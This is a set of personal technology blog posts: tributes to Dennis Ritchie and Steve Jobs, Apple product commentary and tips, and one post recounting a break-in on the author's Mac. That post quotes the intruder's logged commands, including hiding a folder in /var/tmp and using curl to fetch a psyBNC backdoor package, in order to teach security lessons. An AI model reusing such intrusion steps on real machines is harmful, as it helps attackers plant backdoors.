Dennis Ritchie on C and UNIX

Dennis Ritchie, designer of the C programming language, and co-inventor of UNIX — arguably two of the most influential computer science creations ever — passed away at 70.  As my formative years in computing were highlighted by UNIX and C, I felt a bit of nostalgia as well as gratitude for “dmr”s contributions.  I still think of the original K&R as the best programming book ever – when a colleague told me he was going to write a book on C, I couldn’t understand why – since K&R existed, nothing else need be said!  In fact its conciseness greatly influenced my own writing style – some might say to a fault.  Years later, I used the first edition K&R as guidance for the original DMTF DMI 1.0 spec (sadly, no longer available), which was somewhat ironic that I’d use it for a standards committee document:

When I read commentary about suggestions for where C should go, I often think back and give thanks that it wasn’t developed under the advice of a worldwide crowd.
— Dennis Ritchie

Tonight I spent quite a bit of time reading sections of his Bell Lab’s home page — technical materials and observations that I hope stays up for posterity.  These are important artifacts that brought us to where we are now.

From an operating system research point of view, Unix is — if not dead — certainly old stuff, and it’s clear that people should be looking beyond it.

— Dennis Ritchie, 1990 Summer Usenix keynote speech

UNIX, if you don’t know, is the basis for the software that runs Mac OS X, Linux, Android, iPhones & iPads, and lots of other stuff.  Not too shabby.


Dennis Ritchie on C and UNIX

What comes next after Insanely Great?

I don’t have any personal stories to tell about meeting Steve Jobs.

I’m not a “long-time” Apple user.  But I am acutely aware of the date I would become one: January 7, 2003.  Steve Jobs introduced the 12″ Aluminum PowerBook G4 at MacWorld.  I’m not sure how I knew about the keynote – perhaps because I had an iPod and thought it was great – but that afternoon I found myself watching the QuickTime replay from Apple’s web site, hunched over some Windows laptop.  I’d never seen a SteveNote before, and was hooked by everything about it, and I said “I am switching to the Mac.”  Keep in mind I hadn’t even used one at the time, but I still knew it.

Long story short, while diving into Apple’s worldview can be daunting, it’s been incredibly rewarding.  I’ve learned a lot about how difficult it is to make something appear simple.  I started thinking about software in words like elegance, and started using the word design to mean more than architecture.

The iPod and the PowerBook have long since been retired, obsoleted by newer models.  But I still have them, because they were my first.

Rest in Peace, Steve Jobs.

Apple steve silhouette

What comes next after Insanely Great?

a handy iPad tip: quickly toggle day/night screen modes

A little tip on using your iPad in dark places (bedroom, airplane cabin, conference cavern, whatever).

You may know it’s possible to reverse the black and white, so you’re looking at white text on a black background rather than the normal black text on a white background. The setting is part of the Accessibility preferences (under General). It does mess up the colors, but I find it superior to simply reducing the screen brightness, especially when dealing with text.

The real gem is that you can easily switch between normal and reverse modes without having to leave whatever app you are in. Once again in the Accessibility preferences, look at Triple Click action. Set that appropriately.

Now when you triple click the home button, it toggles the screen. I just discovered this setting and already it’s part of my workflow.

a handy iPad tip: quickly toggle day/night screen modes

Palm, Apple and the language of imagery

Dear Sprint –

Congrats on the launch of the Palm Pre. I was previously a Sprint customer and have used various Palm devices, but I stopped being a customer of both quite some time ago. Maybe the Palm Pre is an amazing device, I dunno. I hope it is.

But when I saw this ad in the newspaper, I thought — what’s the imagery trying to communicate here? Why does the Palm Pre need Apple to support it? Like the Pre needs a crutch of some kind. Is it not possible for the Pre to stand on its own?

And hey — using the product-on-white-background-with-reflection image that Apple has made so au courant? I think that’s pure marketing genius but I’m not sure.

But really, the chewed up apple is still standing, holding up the Pre. What are we supposed to be thinking here?



Palm, Apple and the language of imagery

iPhone Sales Tax is on the Unsubsidized Price

So the iPhone 3G S is lust-worthy, if for no other reason than the 3MP autofocus camera and the speed increase. There’s plenty of news about how AT&T is lagging – no MMS (coming), no tethering (maybe coming), giving smaller discounts to iPhone 3G customers than to new customers.

I’m not eligible for the $299 price because I’ve given Apple too much business, thus AT&T has had to subsidize me twice (read: I bought an original iPhone and a year later bought an iPhone 3G). So I get the option to wait until October to get the $299 price, or pay $499 now. I’ll wait, thanks. Maybe for whatever Apple announces next summer.

But Heidi never upgraded to the iPhone 3G, so she’s eligible for the $299 price. Great, let’s put that puppy in the cart. Whoa, look at the tax!

AT&T iPhone tax

Yep, the tax is calculated as 9.5% (welcome to California) on the full $699 retail price of the phone. AT&T doesn’t subsidize that, and I couldn’t find it disclosed anywhere. I asked the Apple Store live chat — they were useless (told me the tax was on the $499 price) until I (duh) backed into the number on my own.

So, Apple’s ads should say the 32GB iPhone costs $699, minus an “instant rebate” that depends on how much AT&T has already subsidized you. But giving the real price wouldn’t sound as lust-worthy, would it?

Update July 18:At the online Apple Store, there’s small print at the bottom of the buy iPhone page that says

In CA, MA, and RI, sales tax is collected on the unbundled price of iPhone.

The CA regulation that requires Apple to collect this tax is documented at What Apple doing isn’t illegal — just a bit misleading.

iPhone Sales Tax is on the Unsubsidized Price

The Break-in

The Scary Door by musicalwds

I am so ashamed.

I was once a system & network manager, so I know about things like bad passwords and scanning software. Later, I built firewalls for Sun. Lately I’ve lectured on the importance of locking down your web analytics data, and the precautions you need to take. So imagine my shock to discover that my home desktop Mac was broken into. Yep. I had enabled remote logins through my firewall, which is innocent enough, but during a fit of debugging some USB problems, I set up new user named “test” with a password of .. you guessed it. I remember at the time thinking “don’t pick ‘test’ as a user name, and certainly don’t use it as the password” but I was in a hurry and I did it anyway. I finished my debugging, but forgot about the account.

Oh, and of course, I set it up with full administrator privileges.

Tonight I’m poking through my log files (I’m still debugging for the source of this USB error on my system, it’s driving me nuts), and I notice that some scanning software came by today, trying to log into zillions of accounts. I was smugly scrolling through the list of user names it was trying until I got to “test” and … it didn’t log in. It didn’t know the password. I first thought, holy crap, I left that account enabled. Then I thought, how could it not guess the password?

The reason: because somebody else had, three days ago. And changed it.

I brought up a Terminal window, and typed “last test” which gives me a list of the previous logins. Sure enough, some fine program/human had logged in to my system three days ago, and stayed for 1 minute. So I went to the “test” home directory, where I conveniently found a list of what happened when they logged in:

1. w
2. passwd
3. uname -a
4. exit
5. cd /var/tmp
6. mkdir " "
7. cd " "
8. curl -O,tar.gz
9. curl -O,tar.gz
10. exit


  1. See who’s on.
  2. Change the password for user “test”.
  3. See what kind of system this is.
  4. Logout.
  5. Go to a folder commonly used for temporary files.
  6. Create a folder named ” ” (just a single space).
  7. Change to that folder.
  8. Download a file from the web.
  9. Try the download again.
  10. Give up, and log out.

So why did the curl commands fail? It’s because I use Little Snitch, which asks my permission every time a random command tries to access the Internet. Since I wasn’t at the computer at the time, I never gave my OK, and Little Snitch prevented the ‘curl’ from working. The person would have seen this:

curl: (7) Failed to connect to Host is down

So what was in psyd,tar.gz? Well, actually it’s a typo. The real name doesn’t have a comma in it, but the person who logged in didn’t notice the mistake because of the “host is down” message. I grabbed the correct file and took a look at it. It is psyBNC, an “IRC bouncer”, but can be used to install backdoors and other nastiness. The file contains the complete source code, as well as a fully-functioning Mac executable.

Fortunately, that’s the end of the story. Several lessons here, ones which I’ve told others far too many times:

  1. Do what you can to prevent break-ins.
  2. Log everything so you can figure out how the inevitable break-in happened.
  3. Convenience is often at the expense of security

I was incredibly lucky. A simple sudo bash would have given this person root access, and they could have erased everything on my system, or worse. In fact, they could have, and then erased all traces of what they did, but I have enough logging and checks to know that they didn’t do anything but what’s described above.

I humbly admit all of this in the hope that you can learn from my near miss.

And yes, I removed the “test” account.

The Break-in

Competition and Responsiveness

When Apple’s Aperture arrived, it was the first tool especially aimed at photographers with extensive photo management needs. While praised for its vision, photographers were frustrated that support for new cameras took such a long time, seemingly requiring updates to Mac OS itself. In the meantime, Adobe’s Photoshop Lightroom offered quick support for new camera models, and it was one of the reasons many photographers switched over to Lightroom.

Now with the release of Mac OS X 10.5.2, and perhaps due to updates to iPhoto and Aperture, Apple is able to push new camera support much quicker than before:
Software Update

Would we be seeing this kind of turnaround on new cameras without competition from Adobe? Hard to say — but it’s clear that Apple heard the cries of its market and responded.

Competition and Responsiveness